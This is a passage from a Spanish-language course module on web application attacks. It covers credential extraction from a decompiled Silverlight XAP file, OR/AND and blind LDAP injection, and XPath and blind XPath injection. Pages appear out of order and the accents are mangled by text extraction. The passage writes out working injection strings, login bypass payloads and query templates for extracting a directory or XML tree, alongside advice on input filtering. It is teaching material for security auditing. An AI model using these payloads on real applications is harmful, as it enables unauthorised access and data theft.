estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web
Figura 21 Lista de usuarios obtenida tras la inyeccioacuten
Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|
(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-
ta de todos los usuarios del aacuterbol LDAP
Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en
este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente
tipo
(|(type=outputDevices)(type=printer))
Figura 22 Listado de impresoras y dispositivos de salida
Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea
modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo
CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web
(|(type=outputDevices)(type=printer)(uid=))(|(type=void))
Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los
usuarios como se puede ver en la figura 23
Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection
215 ldquoANDrdquo LDAP Injection
En el caso de inyecciones en consultas LDAP que lleven el operador AND el
atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido
pero se pueden utilizar las inyecciones para mediatizar los resultados y por
ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con
una consulta del siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Supongamos un entorno en el que se muestra la lista de todos los documentos
a los que un usuario con pocos privilegios tiene acceso mediante una consulta
que incluye el directorio de documentos en un paraacutemetro inyectable Es decir
la consulta original es
(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))
Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder
acceder a los documentos de nivel de seguridad alto
(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))
Para conseguir este resultado se habraacute inyectado en el nombre del directorio
la siguiente cadena
almacen)(nivel_seguridad=alto))(|(directorio=almacen
CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web
Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer
lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando
una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza
una consulta LDAP del tipo
(amp(uid=valor_de_user)(password=valor_de_password)
El atacante inyectando la cadena slisberger)(amp)) en el valor del USER
obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger
y por lo tanto conseguiriacutea el acceso a la aplicacioacuten
Figura 24 Acceso no autorizado mediante AND LDAP Injection
Y como se puede ver en la figura 25 el usuario consigue acceso al directorio
privado del usuario slisberger En este caso se ha utilizado el filtro (amp)
que es el equivalente al valor TRUE en los filtros LDAP
Figura 25 Directorio home del usuario
Como se puede ver en este caso el usuario ha accedido con privilegios de nivel
bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio
de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se
puede ver en la figura 26
CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web
Figura 26 Listado de documentos de nivel bajo
La consulta que se estaacute ejecutando es
(amp(directory=nombre_directorio)(level=low))
El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del
servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio
el siguiente comando Documents)(level=High) De esta forma el coman-
do que se ejecutariacutea seriacutea
(amp(directory=Documents)(level=High))(level=low))
Permitiendo al atacante acceder a todos los documentos Se ha producido una
elevacioacuten de privilegios
CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web
Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection
22 Blind LDAP Injection
Una de las evoluciones de las inyecciones de comandos son las acciones a
ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques
Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no
se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer
informacioacuten de un aacuterbol LDAP
El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que
cumple dos caracteriacutesticas
bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada
al aacuterbol LDAP
bull El uso de los resultados produce cambios en la respuesta http que el cliente
recibe
Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer
informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-
vando los cambios en las respuestas http
CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web
221 Blind LDAP Injection en un entorno ldquoANDrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND
tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el
atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo
que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos
aplicarle un valor que sea true es decir que siempre seleccione objetos para
tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que
tambieacuten nos garantice que sea true
Supongamos la siguiente consulta LDAP
(amp(objectClass=Impresoras)(impresoraTipo=Epson))
Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson
de tal manera que el programador si recibe alguacuten objeto simplemente pinta
en la paacutegina web un icono de una impresora Epson
Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el
icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y
como hemos dicho realizando una inyeccioacuten del siguiente tipo
(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante
Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado
en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-
mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP
222 Reconocimiento de clases de objetos de un aacuterbol LDAP
Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-
mos centrarnos en el segundo filtro realizando un recorrido de la siguiente
forma
(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web
De tal manera que todas aquellas inyecciones que devolvieran el icono de la
impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean
la existencia de ese tipo de objetos
Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-
beto de posibles valores utilizando una buacutesqueda con comodines para ello
realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de
la siguiente forma
(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran
dado una respuesta positiva
(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))
Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos
llegar a saber el nombre de todos los objetcClass de un sistema
Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)
Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido
para cualquier atributo que un objeto compartiera con el atributo fijo Una
vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-
CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web
rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los
nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido
con la siguiente inyeccioacuten
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-
bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se
puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-
teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-
zando un recorrido de la siguiente forma
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan
devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-
car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de
los caracteres utilizando los operadores relacionales lt= o gt= para reducir el
nuacutemero de peticiones
En los atributos que almacenan valores numeacutericos no es posible utilizar el co-
modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-
rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=
(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))
223 Blind LDAP Injection en un entorno ldquoORrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(|(atributo1=valor1)(atributo2=valor2))
En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar
el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor
siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos
una inyeccioacuten de la siguiente forma
(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web
Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo
planteado de las impresoras disponibles deberemos obtener un resultado sin
el icono de la impresora Luego podremos inferir la informacioacuten cuando sea
verdadero el segundo filtro
(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda
la informacioacuten del aacuterbol LDAP utilizando los comodines
224 Ejemplos Blind LDAP Injection
Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado
dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En
la siguiente figura se pueden ver los atributos de un objeto de tipo Printer
Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer
Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros
repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una
aplicacioacuten programada en php llamada printerstatusphp que recibe co-
mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de
la siguiente forma
(amp(cn=HP Laserjet 2100)(objectclass=printer))
El resultado es una paacutegina web en la que se accede a propiedades de la impre-
sora en concreto
CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web
Figura 30 Propiedades de la impresora HP LaserJet 2100
El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-
nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de
los objetos que se puedan seleccionar con cualquier consulta ejecutada por
lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes
capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-
diante Blind LDAP Injection
1)Fase1descubrimientodeatributos
El atacante inyecta atributos para descubrir si existen o no Cuando el atributo
no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no
muestra datos de ninguna impresora
Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de
tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir
asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=
o = y para los booleanos las constantes true y false
Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico
En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de
tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto
se puede comprobar porque la paacutegina de resultados ha devuelto datos de la
impresora que se estaba utilizando
CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web
Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico
Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las
que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten
y el descubrimiento de los atributos simplemente comparando los resultados
HTML obtenidos
En la figura 33 se obtiene de nuevo un resultado positivo que confirma la
existencia de un atributo department
Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble
2)Fase2reduccioacutendelalfabeto
Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-
fabeto posible de valores en un campo La idea consiste en saber si existe o
no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres
de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres
tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten
Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-
ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos
dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir
15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones
+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se
puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a
utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza
como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28
es decir 148 peticiones
CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web
Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena
opcioacuten a la hora de extraer valores de campos
En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece
o no al valor del campo
Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos
Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos
Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse
para extraer el valor del dato mediante un proceso de despliegue
3)Fase3despliegue
En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas
para ello comenzaremos un proceso desde la primera posicioacuten
Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos
CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web
Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-
firme que con ese patroacuten se devuelven datos
Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos
Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a
buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la
fase de reduccioacuten del alfabeto
Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos
Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos
Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se
hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta
de los objetos del aacuterbol LDAP
LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-
rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet
realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-
On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet
CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web
Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro
de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas
de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo
la documentacioacuten existente son de poca ayuda pues en los entornos maacutes
comunes como ADAM u OpenLDAP no funcionan
La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones
consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-
viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines
para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra
aplicacioacuten
23 XPath
XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-
cumentos XML por medio de expresiones especiacuteficas para su estructura
Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de
la organizacioacuten de nodos que poseen los ficheros XML
Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-
ble implementarlo en aplicaciones web de modo que pueden sustituir a los
SGBD (sistema gestor de base de datos) basados en SQL
231 XPath injection y Blind XPath Injection
XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los
paraacutemetros de buacutesqueda a la hora de formar una query XPath
Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-
tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML
Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL
Injection LDAP Injection) son fallos de seguridad causados por una mala
programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-
queda sin importar que la aplicacioacuten sea de escritorio o web
Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-
poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten
contra un aacuterbol XML con la siguiente estructura
ltxml version=10 encoding=UTF-8gt
ltusuariosgt
ltusuario login=admin password=t1oviv0 nivel=3 gt
ltusuario login=usuario password=miPasswordXml nivel=1 gt
ltusuario login=invitado password=invitado nivel=0 gt
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo
password incorrectordquo
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
